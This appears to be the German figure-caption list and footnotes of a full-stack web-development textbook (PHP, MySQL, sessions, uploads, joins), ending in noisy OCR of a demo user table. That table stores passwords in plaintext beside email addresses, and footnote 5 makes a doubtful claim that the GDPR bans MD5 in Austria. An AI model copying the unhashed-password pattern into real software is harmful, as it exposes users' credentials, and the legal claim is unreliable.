            Da die Requests paketweise verarbeitet werden, haben wir ein gutes Indiz dafür, dass (das mittlerweile veraltete) HTTP/1.1 zum Einsatz gelangt.

                           
                        

                    
                        
                           [image: Die Website der Napier University wird mit HTTP/2 betrieben. Hier werden die Requests nicht paketweise abgesetzt, wie das im Fall von HTTP/1.1 zu beobachten ist.]
                           

                           Abbildung 8.50    
            Die Website der Napier University wird mit HTTP/2 betrieben. Hier werden die Requests nicht paketweise abgesetzt, wie das im Fall von HTTP/1.1 zu beobachten ist.

                           
                        

                    
                        
                           [image: Die Anfragekopfzeilen beinhalten all die Daten, die ein Client einem Server preisgibt. Aus diesen Daten lassen sich erste Schlüsse ziehen, welches Gerät der User verwendet.]
                           

                           Abbildung 8.51    
            Die Anfragekopfzeilen beinhalten all die Daten, die ein Client einem Server preisgibt. Aus diesen Daten lassen sich erste Schlüsse ziehen, welches Gerät der User verwendet.

                           
                        

                    
                        
                           [image: Die Anfragekopfzeilen für ein mobiles Endgerät: Hier wird offensichtlich ein Android-basiertes Gerät verwendet.]
                           

                           Abbildung 8.52    
            Die Anfragekopfzeilen für ein mobiles Endgerät: Hier wird offensichtlich ein Android-basiertes Gerät verwendet.

                           
                        

                    
                        
                           [image: Mit der Feature Detection werden die Breite und Höhe (sowie die Pixeldichte) ermittelt, sodass serverseitig darauf reagiert werden kann.]
                           

                           Abbildung 8.53    
            Mit der Feature Detection werden die Breite und Höhe (sowie die Pixeldichte) ermittelt, sodass serverseitig darauf reagiert werden kann.

                           
                        

                    
                        
                           [image: Startscreen von FileZilla, einem frei verfügbaren FTP-Client]
                           

                           Abbildung 9.1    
            Startscreen von FileZilla, einem frei verfügbaren FTP-Client

                           
                        

                    
                        
                           [image: Der Servermanager ist für das Anlegen bzw. Editieren von Verbindungen zu FTP-Servern zuständig.]
                           

                           Abbildung 9.2    
            Der Servermanager ist für das Anlegen bzw. Editieren von Verbindungen zu FTP-Servern zuständig.

                           
                        

                    
                        
                           [image: Die Verbindung zum gewünschten Server wurde hergestellt, wobei die hierfür notwendigen Befehle im oberen Bereich des Programmfebsters dargestellt werden.]
                           

                           Abbildung 9.3    
            Die Verbindung zum gewünschten Server wurde hergestellt, wobei die hierfür notwendigen Befehle im oberen Bereich des Programmfebsters dargestellt werden.

                           
                        

                    
                        
                           [image: Ein Git verwaltet sämtliche Daten mitsamt aller Änderungen (Revisionen) lokal auf den Rechnern der Entwickler.]
                           

                           Abbildung 9.4    
            Ein Git verwaltet sämtliche Daten mitsamt aller Änderungen (Revisionen) lokal auf den Rechnern der Entwickler.

                           
                        

                    
                        
                           [image: GitHub Actions vereinfacht den Veröffentlichungsprozess von Websites.]
                           

                           Abbildung 9.5    
            GitHub Actions vereinfacht den Veröffentlichungsprozess von Websites.

                           
                        

                    
                        
                           [image: Der Usability Engineering Lifecycle verdeutlicht, dass das Thema Usability permanent mitberücksichtigt werden sollte.]
                           

                           Abbildung 10.1    
            Der Usability Engineering Lifecycle verdeutlicht, dass das Thema Usability permanent mitberücksichtigt werden sollte.

                           
                        

                    
                        
                           [image: Die Website »www.php.net« ist die offizielle Entwickler-Website zu PHP.]
                           

                           Abbildung 11.1    
            Die Website »www.php.net« ist die offizielle Entwickler-Website zu PHP.

                           
                        

                    
                        
                           [image: Die Einstellungen zur Site stellen die lokale Ablage dar, in der auch ein Git als Versionsverwaltungssystem eingesetzt werden kann.]
                           

                           Abbildung 11.2    
            Die Einstellungen zur Site stellen die lokale Ablage dar, in der auch ein Git als Versionsverwaltungssystem eingesetzt werden kann.

                           
                        

                    
                        
                           [image: Die Einstellungen zum Server geben wiederum an, mit welchen Servern (Remote- oder Testserver) gearbeitet werden soll. Üblicherweise lassen sich mehrere Server definieren, falls beispielsweise über unterschiedliche Protokolle auf die Ablage zugegriffen wird.]
                           

                           Abbildung 11.3    
            Die Einstellungen zum Server geben wiederum an, mit welchen Servern (Remote- oder Testserver) gearbeitet werden soll. Üblicherweise lassen sich mehrere Server definieren, falls beispielsweise über unterschiedliche Protokolle auf die Ablage zugegriffen wird.

                           
                        

                    
                        
                           [image: Arrays in JavaScript und PHP verhalten sich ein wenig unterschiedlich.]
                           

                           Abbildung 11.4    
            Arrays in JavaScript und PHP verhalten sich ein wenig unterschiedlich.

                           
                        

                    
                        
                           [image: Gemischt-assoziative Arrays sind nur in PHP möglich – in JavaScript müssen Sie hierzu auf Objekte zurückgreifen.]
                           

                           Abbildung 11.5    
            Gemischt-assoziative Arrays sind nur in PHP möglich – in JavaScript müssen Sie hierzu auf Objekte zurückgreifen.

                           
                        

                    
                        
                           [image: Vorab befüllte Arrays sind natürlich auch in PHP möglich.]
                           

                           Abbildung 11.6    
            Vorab befüllte Arrays sind natürlich auch in PHP möglich.

                           
                        

                    
                        
                           [image: Assoziative Arrays in PHP und Objekte in JavaScript können gut miteinander verglichen werden, wenngleich sie auch nicht ganz dasselbe sind.]
                           

                           Abbildung 11.7    
            Assoziative Arrays in PHP und Objekte in JavaScript können gut miteinander verglichen werden, wenngleich sie auch nicht ganz dasselbe sind.

                           
                        

                    
                        
                           [image: Zahlen addieren, »the easy way«: 2 plus 3 ergibt 5.]
                           

                           Abbildung 11.8    
            Zahlen addieren, »the easy way«: 2 plus 3 ergibt 5.

                           
                        

                    
                        
                           [image: Je nach Übergabewert arbeitet unsere Funktion unterschiedlich, aber beide Male nicht so, wie wir es uns wünschen.]
                           

                           Abbildung 11.9    
            Je nach Übergabewert arbeitet unsere Funktion unterschiedlich, aber beide Male nicht so, wie wir es uns wünschen.

                           
                        

                    
                        
                           [image: Unsere abgeänderte Funktionsdefinition bewirkt, dass die Funktion bereits beim ersten fehlerhaften Aufruf einen entsprechenden (Fatal) Error erzeugt.]
                           

                           Abbildung 11.10    
            Unsere abgeänderte Funktionsdefinition bewirkt, dass die Funktion bereits beim ersten fehlerhaften Aufruf einen entsprechenden (Fatal) Error erzeugt.

                           
                        

                    
                        
                           [image: Testweise geben wir die ursprüngliche Fehlermeldung aus und brechen dann ab.]
                           

                           Abbildung 11.11    
            Testweise geben wir die ursprüngliche Fehlermeldung aus und brechen dann ab.

                           
                        

                    
                        
                           [image: Unser kleines Skript erzeugt eine Exception, die wir entsprechend abgefangen haben. Durch die Zahl 0 lässt sich nichts dividieren.]
                           

                           Abbildung 11.12    
            Unser kleines Skript erzeugt eine Exception, die wir entsprechend abgefangen haben. Durch die Zahl 0 lässt sich nichts dividieren.

                           
                        

                    
                        
                           [image: Die Datei »b.php« wird sowohl von »a.php« als auch von »c.php« angefordert.]
                           

                           Abbildung 11.13    
            Die Datei »b.php« wird sowohl von »a.php« als auch von »c.php« angefordert.

                           
                        

                    
                        
                           [image: Die Datei »php_error_log« aus dem Verzeichnis »xampp/logs« gibt uns die Information, dass in Zeile 10 des Scripts ein Fehler aufgetreten ist. Weil hier steht, dass die »Maximum execution time« überschritten wurde, ist dies ein gutes Indiz dafür, dass wir es mit einer Endlosschleife zu tun haben.]
                           

                           Abbildung 11.14    
            Die Datei »php_error_log« aus dem Verzeichnis »xampp/logs« gibt uns die Information, dass in Zeile 10 des Scripts ein Fehler aufgetreten ist. Weil hier steht, dass die »Maximum execution time« überschritten wurde, ist dies ein gutes Indiz dafür, dass wir es mit einer Endlosschleife zu tun haben.

                           
                        

                    
                        
                           [image: Das noch leere POST-Array wird – optisch auffällig – auf dem Bildschirm dargestellt.]
                           

                           Abbildung 11.15    
            Das noch leere POST-Array wird – optisch auffällig – auf dem Bildschirm dargestellt.

                           
                        

                    
                        
                           [image: Das POST-Array ist nun nicht mehr leer.]
                           

                           Abbildung 11.16    
            Das POST-Array ist nun nicht mehr leer.

                           
                        

                    
                        
                           [image: Das POST-Array beinhaltet die eingegebenen Werte im Formular als assoziative Einträge.]
                           

                           Abbildung 11.17    
            Das POST-Array beinhaltet die eingegebenen Werte im Formular als assoziative Einträge.

                           
                        

                    
                        
                           [image: Die Webseite wurde über einen Request auf dem Server aufgerufen. Dieser verarbeitet den Request und sendet als Response den HTML-Code zurück, den Sie in dieser Abbildung sehen.]
                           

                           Abbildung 11.18    
            Die Webseite wurde über einen Request auf dem Server aufgerufen. Dieser verarbeitet den Request und sendet als Response den HTML-Code zurück, den Sie in dieser Abbildung sehen.

                           
                        

                    
                        
                           [image: Unser Formular kurz vor dem Abschicken: befüllt und bereit]
                           

                           Abbildung 11.19    
            Unser Formular kurz vor dem Abschicken: befüllt und bereit

                           
                        

                    
                        
                           [image: Das Formular wurde abgeschickt, weshalb sich im (grafisch aufbereitet dargestellten) POST-Array Einträge befinden.]
                           

                           Abbildung 11.20    
            Das Formular wurde abgeschickt, weshalb sich im (grafisch aufbereitet dargestellten) POST-Array Einträge befinden.

                           
                        

                    
                        
                           [image: Ein Formular kann auch leer abgeschickt werden. Dadurch entstehen im betroffenen Array (hier: POST) dennoch Einträge (E und P), die allerdings keine Werte besitzen; vorhanden sind sie aber.]
                           

                           Abbildung 11.21    
            Ein Formular kann auch leer abgeschickt werden. Dadurch entstehen im betroffenen Array (hier: POST) dennoch Einträge (E und P), die allerdings keine Werte besitzen; vorhanden sind sie aber.

                           
                        

                    
                        
                           [image: Der von uns erzeugte HTML-Code ist nicht korrekt. Na super!]
                           

                           Abbildung 11.22    
            Der von uns erzeugte HTML-Code ist nicht korrekt. Na super!

                           
                        

                    
                        
                           [image: Im Kurzdurchlauf der Vorgang beim Verarbeiten der Seite »login.php«: Request, Verarbeitung auf dem Server, Response]
                           

                           Abbildung 11.23    
            Im Kurzdurchlauf der Vorgang beim Verarbeiten der Seite »login.php«: Request, Verarbeitung auf dem Server, Response

                           
                        

                    
                        
                           [image: Aufbauend auf  (Schritte 1 bis 5) wird nun Folgendes geschehen: Nachdem der User die korrekten Zugangsdaten eingegeben, das Formular abgeschickt und damit den nächsten Request abgesetzt hat, wird er serverseitig (über einen Zwischenschritt aufgrund des 302-Status) zur Datei »geschuetzt.php« weitergeleitet.]
                           

                           Abbildung 11.24    
            Aufbauend auf Abbildung 11.23 (Schritte 1 bis 5) wird nun Folgendes geschehen: Nachdem der User die korrekten Zugangsdaten eingegeben, das Formular abgeschickt und damit den nächsten Request abgesetzt hat, wird er serverseitig (über einen Zwischenschritt aufgrund des 302-Status) zur Datei »geschuetzt.php« weitergeleitet.

                           
                        

                    
                        
                           [image: Der Ablauf beim Erzeugen einer Session verdeutlicht, dass nach dem Response durch den Server sowohl der Client als auch der Server über dieselben Informationen hinsichtlich Session-ID und Restlaufzeit verfügen.]
                           

                           Abbildung 11.25    
            Der Ablauf beim Erzeugen einer Session verdeutlicht, dass nach dem Response durch den Server sowohl der Client als auch der Server über dieselben Informationen hinsichtlich Session-ID und Restlaufzeit verfügen.

                           
                        

                    
                        
                           [image: Der Befehl »session_start()« macht das Arbeiten mit Sessions erst möglich.]
                           

                           Abbildung 11.26    
            Der Befehl »session_start()« macht das Arbeiten mit Sessions erst möglich.

                           
                        

                    
                        
                           [image: Die Session-Verwaltung ist vergleichbar mit einem serverseitigen Ablagefach.]
                           

                           Abbildung 11.27    
            Die Session-Verwaltung ist vergleichbar mit einem serverseitigen Ablagefach.

                           
                        

                    
                        
                           [image: Nicht eingeloggte User haben nun keinen Zugang mehr zur geschützten Seite.]
                           

                           Abbildung 11.28    
            Nicht eingeloggte User haben nun keinen Zugang mehr zur geschützten Seite.

                           
                        

                    
                        
                           [image: Nach erfolgtem Upload verwenden wir unsere Testausgabe-Funktion »ta«, um den Inhalt von »$_FILES« auf dem Bildschirm auszugeben.]
                           

                           Abbildung 11.29    
            Nach erfolgtem Upload verwenden wir unsere Testausgabe-Funktion »ta«, um den Inhalt von »$_FILES« auf dem Bildschirm auszugeben.

                           
                        

                    
                        
                           [image: In Schritt 1 wird die Datei »testseiten.pdf« an den Server übermittelt, der sie in Schritt 2 in das temporäre Verzeichnis legt. In Schritt 3 wird die Datei mittels »move_uploaded_file« von dort abgeholt und in Schritt 4 im Zielverzeichnis abgelegt. Der Inhalt des »FILES«-Arrays ist rosa dargestellt.]
                           

                           Abbildung 11.30    
            In Schritt 1 wird die Datei »testseiten.pdf« an den Server übermittelt, der sie in Schritt 2 in das temporäre Verzeichnis legt. In Schritt 3 wird die Datei mittels »move_uploaded_file« von dort abgeholt und in Schritt 4 im Zielverzeichnis abgelegt. Der Inhalt des »FILES«-Arrays ist rosa dargestellt.

                           
                        

                    
                        
                           [image: Im »FILES«-Array ist nun eine dritte Dimension hinzugekommen. So können beliebig viele Dateinamen gespeichert werden, wo vorher nur einer möglich war. Da ist es sehr naheliegend, dass aus dem einzelnen Eintrag nun ein Array aus Einträgen geworden ist.]
                           

                           Abbildung 11.31    
            Im »FILES«-Array ist nun eine dritte Dimension hinzugekommen. So können beliebig viele Dateinamen gespeichert werden, wo vorher nur einer möglich war. Da ist es sehr naheliegend, dass aus dem einzelnen Eintrag nun ein Array aus Einträgen geworden ist.

                           
                        

                    
                        
                           [image: Die Ausgabe des Inhalts eines beliebigen Verzeichnisses zeigt die darin befindlichen Dateien, Verzeichnisse und Verknüpfungen in Form der jeweiligen Namen, nicht jedoch die Pfade.]
                           

                           Abbildung 11.32    
            Die Ausgabe des Inhalts eines beliebigen Verzeichnisses zeigt die darin befindlichen Dateien, Verzeichnisse und Verknüpfungen in Form der jeweiligen Namen, nicht jedoch die Pfade.

                           
                        

                    
                        
                           [image: Jede (beliebige) Verzeichnisstruktur kann als Baum dargestellt werden.]
                           

                           Abbildung 11.33    
            Jede (beliebige) Verzeichnisstruktur kann als Baum dargestellt werden.

                           
                        

                    
                        
                           [image: Das Verzeichnis »beispielvz« (Wurzel) mit allen darin befindlichen Verzeichnissen, als Baum dargestellt]
                           

                           Abbildung 11.34    
            Das Verzeichnis »beispielvz« (Wurzel) mit allen darin befindlichen Verzeichnissen, als Baum dargestellt

                           
                        

                    
                        
                           [image: Rekursives Auslesen von Verzeichnissen]
                           

                           Abbildung 11.35    
            Rekursives Auslesen von Verzeichnissen

                           
                        

                    
                        
                           [image: Die Bildsuche liefert doch so manche Bilder, die wir durch manuelles Suchen vielleicht nur schwer gefunden hätten. Die dargestellten Bildpfade verdeutlichen, dass die Rekursion tatsächlich auch in den Unterverzeichnissen gesucht hat.]
                           

                           Abbildung 11.36    
            Die Bildsuche liefert doch so manche Bilder, die wir durch manuelles Suchen vielleicht nur schwer gefunden hätten. Die dargestellten Bildpfade verdeutlichen, dass die Rekursion tatsächlich auch in den Unterverzeichnissen gesucht hat.

                           
                        

                    
                        
                           [image: Die Standardrechte für neue Verzeichnisse sind 0755 (oder ---rwxr-xr-x).]
                           

                           Abbildung 11.37    
            Die Standardrechte für neue Verzeichnisse sind 0755 (oder ---rwxr-xr-x).

                           
                        

                    
                        
                           [image: Die etwas restriktiveren (typischen) Dateirechte: 0644 bzw. ---rw-r--r--]
                           

                           Abbildung 11.38    
            Die etwas restriktiveren (typischen) Dateirechte: 0644 bzw. ---rw-r--r--

                           
                        

                    
                        
                           [image: Der User hat das Verzeichnis »f22« ausgewählt und sich für den neuen Namen »f37abc« entschieden. Nach dem Abschicken des Formulars (und entsprechenden Überprüfungen) wurde »f22« in »f37abc« umbenannt.]
                           

                           Abbildung 11.39    
            Der User hat das Verzeichnis »f22« ausgewählt und sich für den neuen Namen »f37abc« entschieden. Nach dem Abschicken des Formulars (und entsprechenden Überprüfungen) wurde »f22« in »f37abc« umbenannt.

                           
                        

                    
                        
                           [image: Mittels PHP können Sie einen Bildausschnitt in einen anderen Bildausschnitt kopieren.]
                           

                           Abbildung 11.40    
            Mittels PHP können Sie einen Bildausschnitt in einen anderen Bildausschnitt kopieren.

                           
                        

                    
                        
                           [image: Sobald dies geschehen ist, können Sie den Inhalt des ZIP-Files auf Ihren Webhost hochladen und entsprechend in Ihre Site einbinden:]
                           

                           Abbildung 11.41    
            Sobald dies geschehen ist, können Sie den Inhalt des ZIP-Files auf Ihren Webhost hochladen und entsprechend in Ihre Site einbinden:

                           
                        

                    
                        
                           [image: Das MVC-Muster]
                           

                           Abbildung 11.42    
            Das MVC-Muster

                           
                        

                    
                        
                           [image: Je nach Betriebssystem sieht das Control Panel des XAMPP-Bundles etwas unterschiedlich aus, was uns aber nicht weiter verunsichert: Wir finden uns zurecht.]
                           

                           Abbildung 12.1    
            Je nach Betriebssystem sieht das Control Panel des XAMPP-Bundles etwas unterschiedlich aus, was uns aber nicht weiter verunsichert: Wir finden uns zurecht.

                           
                        

                    
                        
                           [image: Die Website »phpMyAdmin« dient als Administrationsoberfläche für MySQL-Datenbanken. Sie wird Ihnen in der nächsten Zeit vertraut werden.]
                           

                           Abbildung 12.2    
            Die Website »phpMyAdmin« dient als Administrationsoberfläche für MySQL-Datenbanken. Sie wird Ihnen in der nächsten Zeit vertraut werden.

                           
                        

                    
                        
                           [image: Das Anlegen einer neuen Datenbank in phpMyAdmin]
                           

                           Abbildung 12.3    
            Das Anlegen einer neuen Datenbank in phpMyAdmin

                           
                        

                    
                        
                           [image: Sobald eine Datenbank existiert, ist das Erstellen von Tabellen für diese Datenbank möglich. Hierzu muss zunächst einmal nur der Tabellenname gewählt werden.]
                           

                           Abbildung 12.4    
            Sobald eine Datenbank existiert, ist das Erstellen von Tabellen für diese Datenbank möglich. Hierzu muss zunächst einmal nur der Tabellenname gewählt werden.

                           
                        

                    
                        
                           [image: Unsere User-Tabelle entsteht in phpMyAdmin.]
                           

                           Abbildung 12.5    
            Unsere User-Tabelle entsteht in phpMyAdmin.

                           
                        

                    
                        
                           [image: Das Einfügen neuer Datensätze in phpMyAdmin erfolgt über das Einfügen-Tab, nachdem man links in der Auflistung der Datenbanken die gewünschte Datenbank ausgewählt hat.]
                           

                           Abbildung 12.6    
            Das Einfügen neuer Datensätze in phpMyAdmin erfolgt über das Einfügen-Tab, nachdem man links in der Auflistung der Datenbanken die gewünschte Datenbank ausgewählt hat.

                           
                        

                    
                        
                           [image: Neue Datensätze einfügen]
                           

                           Abbildung 12.7    
            Neue Datensätze einfügen

                           
                        

                    
                        
                           [image: Der Export einer Datenbank in einen Dump generiert eine Textdatei, in der sämtliche Befehle stehen, um die Datenbank wieder in genau den Zustand zu bringen, in dem sie gerade ist.]
                           

                           Abbildung 12.8    
            Der Export einer Datenbank in einen Dump generiert eine Textdatei, in der sämtliche Befehle stehen, um die Datenbank wieder in genau den Zustand zu bringen, in dem sie gerade ist.

                           
                        

                    
                        
                           [image: MySQLi und PDO liefern recht unterschiedliche Antworten auf das übermittelte SQL-Statement.]
                           

                           Abbildung 12.9    
            MySQLi und PDO liefern recht unterschiedliche Antworten auf das übermittelte SQL-Statement.

                           
                        

                    
                        
                           [image: PDO und MySQLi liefern (natürlich) dasselbe Ergebnis, wenn es sich um die Auswertung der abgefragten Daten handelt.]
                           

                           Abbildung 12.10    
            PDO und MySQLi liefern (natürlich) dasselbe Ergebnis, wenn es sich um die Auswertung der abgefragten Daten handelt.

                           
                        

                    
                        
                           [image: Die Ausgabe aller Personen (Datensätze) aus der Tabelle »tbl_user« – nicht sortiert und ungefiltert]
                           

                           Abbildung 12.11    
            Die Ausgabe aller Personen (Datensätze) aus der Tabelle »tbl_user« – nicht sortiert und ungefiltert

                           
                        

                    
                        
                           [image: Die Datensätze unserer Beispieltabelle werden gesammelt ausgegeben.]
                           

                           Abbildung 12.12    
            Die Datensätze unserer Beispieltabelle werden gesammelt ausgegeben.

                           
                        

                    
                        
                           [image: Schränkt man die Anzahl der Datensätze mit »LIMIT« ein, so können auch nur diese Datensätze ausgegeben werden.]
                           

                           Abbildung 12.13    
            Schränkt man die Anzahl der Datensätze mit »LIMIT« ein, so können auch nur diese Datensätze ausgegeben werden.

                           
                        

                    
                        
                           [image: Wir haben uns eine Blätterfunktion für unsere Datensätze geschaffen und dabei auch noch darauf geachtet, dass von der Clientseite keine falschen Informationen eintrudeln. Ein erster Weg in Richtung Sicherheit.]
                           

                           Abbildung 12.14    
            Wir haben uns eine Blätterfunktion für unsere Datensätze geschaffen und dabei auch noch darauf geachtet, dass von der Clientseite keine falschen Informationen eintrudeln. Ein erster Weg in Richtung Sicherheit.

                           
                        

                    
                        
                           [image: Unser Registrierungsformular vor und nach dem Abschicken]
                           

                           Abbildung 12.15    
            Unser Registrierungsformular vor und nach dem Abschicken

                           
                        

                    
                        
                           [image: Darstellung der bestehenden Daten in Form vorausgefüllter Eingabefelder]
                           

                           Abbildung 12.16    
            Darstellung der bestehenden Daten in Form vorausgefüllter Eingabefelder

                           
                        

                    
                        
                           [image: Die grafische Darstellung der Tabellen erleichtert das Verständnis der Zusammenhänge.]
                           

                           Abbildung 12.17    
            Die grafische Darstellung der Tabellen erleichtert das Verständnis der Zusammenhänge.

                           
                        

                    
                        
                           [image: Unsere Datenbank »db_fullstack« ohne und mit Constraint]
                           

                           Abbildung 12.18    
            Unsere Datenbank »db_fullstack« ohne und mit Constraint

                           
                        

                    
                        
                           [image: Wenn Sie phpMyAdmin nutzen, ist es ganz einfach, neue Spalten (Felder) in Tabellen einzufügen.]
                           

                           Abbildung 12.19    
            Wenn Sie phpMyAdmin nutzen, ist es ganz einfach, neue Spalten (Felder) in Tabellen einzufügen.

                           
                        

                    
                        
                           [image: Einer Person sind können keine, eine oder mehrere Telefonnummern zugewiesen werden. In diesem Beispiel hat der User mit der IDU=11 zwei zugewiesene Telefonnummern und der User mit der IDU=47 eine zugewiesene Telefonnummer.]
                           

                           Abbildung 12.20    
            Einer Person sind können keine, eine oder mehrere Telefonnummern zugewiesen werden. In diesem Beispiel hat der User mit der IDU=11 zwei zugewiesene Telefonnummern und der User mit der IDU=47 eine zugewiesene Telefonnummer.

                           
                        

                    
                        
                           [image: Im Fall einer 1:1-Beziehung kann einem Datensatz einer Tabelle kein Datensatz oder ein Datensatz aus einer anderen Tabelle zugewiesen werden. Im obigen Beispiel erhält der User mit der IDU=11 beispielsweise eine Teilnehmernummer zugewiesen, der User mit der IDU=47 jedoch nicht.]
                           

                           Abbildung 12.21    
            Im Fall einer 1:1-Beziehung kann einem Datensatz einer Tabelle kein Datensatz oder ein Datensatz aus einer anderen Tabelle zugewiesen werden. Im obigen Beispiel erhält der User mit der IDU=11 beispielsweise eine Teilnehmernummer zugewiesen, der User mit der IDU=47 jedoch nicht.

                           
                        

                    
                        
                           [image: In einer Warenkorb- oder Verkaufstabelle werden die von Kunden bestellten Produkte über eine verbindende Tabelle in Beziehung gesetzt. Üblicherweise wird in diesem speziellen Fall beispielsweise auch eine Anzahl der gewünschten Produkte gespeichert.]
                           

                           Abbildung 12.22    
            In einer Warenkorb- oder Verkaufstabelle werden die von Kunden bestellten Produkte über eine verbindende Tabelle in Beziehung gesetzt. Üblicherweise wird in diesem speziellen Fall beispielsweise auch eine Anzahl der gewünschten Produkte gespeichert.

                           
                        

                    
                        
                           [image: Vergeben Sie einen Index an die Fremdschlüsselspalte, sollte noch kein Fremdschlüssel existieren.]
                           

                           Abbildung 12.23    
            Vergeben Sie einen Index an die Fremdschlüsselspalte, sollte noch kein Fremdschlüssel existieren.

                           
                        

                    
                        
                           [image: Die Beziehungsansicht lässt das Anlegen von Beziehungen (Constraints) zu. Beachten Sie, dass die Beziehung immer von derjenigen Tabelle ausgeht, in der sich der Fremdschlüssel befindet.]
                           

                           Abbildung 12.24    
            Die Beziehungsansicht lässt das Anlegen von Beziehungen (Constraints) zu. Beachten Sie, dass die Beziehung immer von derjenigen Tabelle ausgeht, in der sich der Fremdschlüssel befindet.

                           
                        

                    
                        
                           [image: Es ist angerichtet: Der Constraint ist vorbereitet. Nun fehlt nur noch der Klick auf den »Speichern«-Button.]
                           

                           Abbildung 12.25    
            Es ist angerichtet: Der Constraint ist vorbereitet. Nun fehlt nur noch der Klick auf den »Speichern«-Button.

                           
                        

                    
                        
                           [image: Der Designer in phpMyAdmin zeigt uns eine sehr wichtige Darstellung: das sogenannte ER-Diagramm. Es bildet die Basis für die weitere programmiertechnische Umsetzung von Projekten.]
                           

                           Abbildung 12.26    
            Der Designer in phpMyAdmin zeigt uns eine sehr wichtige Darstellung: das sogenannte ER-Diagramm. Es bildet die Basis für die weitere programmiertechnische Umsetzung von Projekten.

                           
                        

                    
                        
                           [image: Basierend auf unseren User- und Geschlechterdaten erhalten wir diese beiden Mengen.]
                           

                           Abbildung 12.27    
            Basierend auf unseren User- und Geschlechterdaten erhalten wir diese beiden Mengen.

                           
                        

                    
                        
                           [image: Der Inner Join nimmt nur diejenigen Daten, in denen einem User auch ein Geschlecht zugewiesen wurde. User ohne zugewiesenes Geschlecht sowie nicht genutzte Geschlechter sind im Ergebnis nicht zu finden.]
                           

                           Abbildung 12.28    
            Der Inner Join nimmt nur diejenigen Daten, in denen einem User auch ein Geschlecht zugewiesen wurde. User ohne zugewiesenes Geschlecht sowie nicht genutzte Geschlechter sind im Ergebnis nicht zu finden.

                           
                        

                    
                        
                           [image: Das Ergebnis des Inner Joins: Nur User mit zugewiesenem Geschlecht werden dargestellt.]
                           

                           Abbildung 12.29    
            Das Ergebnis des Inner Joins: Nur User mit zugewiesenem Geschlecht werden dargestellt.

                           
                        

                    
                        
                           [image: Ein Left Join liefert sämtliche Datensätze aus der Usertabelle plus zusätzlich die Informationen zum Geschlecht, sollte ein solches vorhanden sein.]
                           

                           Abbildung 12.30    
            Ein Left Join liefert sämtliche Datensätze aus der Usertabelle plus zusätzlich die Informationen zum Geschlecht, sollte ein solches vorhanden sein.

                           
                        

                    
                        
                           [image: Ein Right Join liefert sämtliche Datensätze aus der Geschlechtertabelle plus zusätzlich diejenigen User, denen ein Geschlecht zugewiesen wurde.]
                           

                           Abbildung 12.31    
            Ein Right Join liefert sämtliche Datensätze aus der Geschlechtertabelle plus zusätzlich diejenigen User, denen ein Geschlecht zugewiesen wurde.

                           
                        

                    
                        
                           [image: Mit ein wenig CSS-Code lässt sich rasch eine schöne Darstellung einer Navigation basteln (links ohne CSS, rechts mit CSS). Die HTML-Struktur ist jedoch nach wie vor dieselbe.]
                           

                           Abbildung 12.32    
            Mit ein wenig CSS-Code lässt sich rasch eine schöne Darstellung einer Navigation basteln (links ohne CSS, rechts mit CSS). Die HTML-Struktur ist jedoch nach wie vor dieselbe.

                           
                        

                    
                        
                           [image: Eine »SELECT«-Abfrage ohne und mit »DISTINCT«]
                           

                           Abbildung 12.33    
            Eine »SELECT«-Abfrage ohne und mit »DISTINCT«

                           
                        

                    
                        
                           [image: ]
                           

                           
                           
                        

                    
                        
                           [image: Nach dem Auslesen der verfügbaren Datenbanken (für den angemeldeten User) werden diese in Form von Submit-Buttons auf dem Bildschirm dargestellt.]
                           

                           Abbildung 12.34    
            Nach dem Auslesen der verfügbaren Datenbanken (für den angemeldeten User) werden diese in Form von Submit-Buttons auf dem Bildschirm dargestellt.

                           
                        

                    
                        
                           [image: Für die ausgewählte Datenbank werden nun die in ihr befindlichen Tabellen ebenfalls wieder als Submit-Buttons ausgegeben.]
                           

                           Abbildung 12.35    
            Für die ausgewählte Datenbank werden nun die in ihr befindlichen Tabellen ebenfalls wieder als Submit-Buttons ausgegeben.

                           
                        

                    
                        
                           [image: Nachdem nun auch die gewünschte Tabelle ausgewählt wurde, können die Felder der Tabelle ausgelesen werden.]
                           

                           Abbildung 12.36    
            Nachdem nun auch die gewünschte Tabelle ausgewählt wurde, können die Felder der Tabelle ausgelesen werden.

                           
                        

                    
                        
                           [image: Wie Sie an der Netzwerkanalyse erkennen, werden im Hintergrund Anfragen an eine Tracking-Seite gesendet. Nicht gut!]
                           

                           Abbildung 13.1    
            Wie Sie an der Netzwerkanalyse erkennen, werden im Hintergrund Anfragen an eine Tracking-Seite gesendet. Nicht gut!

                           
                        

                    
      Fußnoten

      
         
            
                  [ 1 ]
                  Wir kennen auch »unsichtbares« Licht in Form von Röntgen-, ultravioletter oder Infrarotstrahlung
               (Wärmestrahlung). In all diesen Fällen spricht man zwar nicht mehr von »Licht«, sondern
               von »Strahlung«, aber da diese Strahlung an den Bereich angrenzt, den wir sehen können,
               bezeichnet man diese Strahlungen nicht selten als »unsichtbares Licht«.
            

         

         
            
                  [ 2 ]
                  Der Name der Funktion quux ist in Programmiererkreisen lediglich ein gedanklicher Platzhalter und kann somit
               eine jede beliebige Funktion sein.
            

         

         
            
                  [ 3 ]
                  Sie erinnern sich: Attribute, die mit data- beginnen, sind Universalattribute, die jedem HTML-Element zugewiesen werden können.
               Dies machen wir uns zunutze, um für jeden Anker einen Track zu hinterlegen.
            

         

         
            
                  [ 4 ]
                  Es sei angemerkt, dass die Übersetzung in innerstaatliches Recht eigentlich innerhalb
               von drei Jahren erfolgen müsste, was jedoch aus diversen Gründen bis dato nicht erfolgt
               ist. Auch ist bis dato noch keine Prüfung des Inhalts und auf Vollständigkeit erfolgt.
            

         

         
            
                  [ 5 ]
                  Bitte beachten Sie, dass der in den letzten Jahren gängige Verschlüsselungsalgorithmus
               MD5 in Österreich nach Einführung der DSGVO (Datenschutz-Grundverordnung) mittlerweile
               nicht mehr erlaubt ist, da er zu einfach zu knacken ist.
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Markus
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Sabine

¥  Q Suchen 9 v 9

Nachname Geb.-Datum
Mutz 17.10.1972
Maier -

5.2.2001
Maier -

18.12.1978

Reg.-Zeitpunkt
6.5.2023, 11:08 Uhr
6.5.2023, 11:08 Uhr
6.5.2023, 11:11 Uhr
6.5.2023, 11:11 Uhr
6.5.2023, 11:11 Uhr

Huberer

Mdller
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Emailadresse Passwort Vorname Nachname Geb.-Datum

uwe.mutz@syne.at test123 Uwe Mutz 17.10.1972
hermann.maier@hm1.at test456 Hermann Maier -
test2@test.at test2345 Markus Huberer 5.2.2001
test3@test.at test934865 Sabine Maier -
test4@test.at tesa3783 Sabine Muiller 18.12.1978
testS@test.at testxy Harald Maierhofer  12.11.1979
test6@test.at testxy Harald Maierhofer  12.11.1979
test7@test.at 666TestXy984 Harald Obermiller 12.11.1979
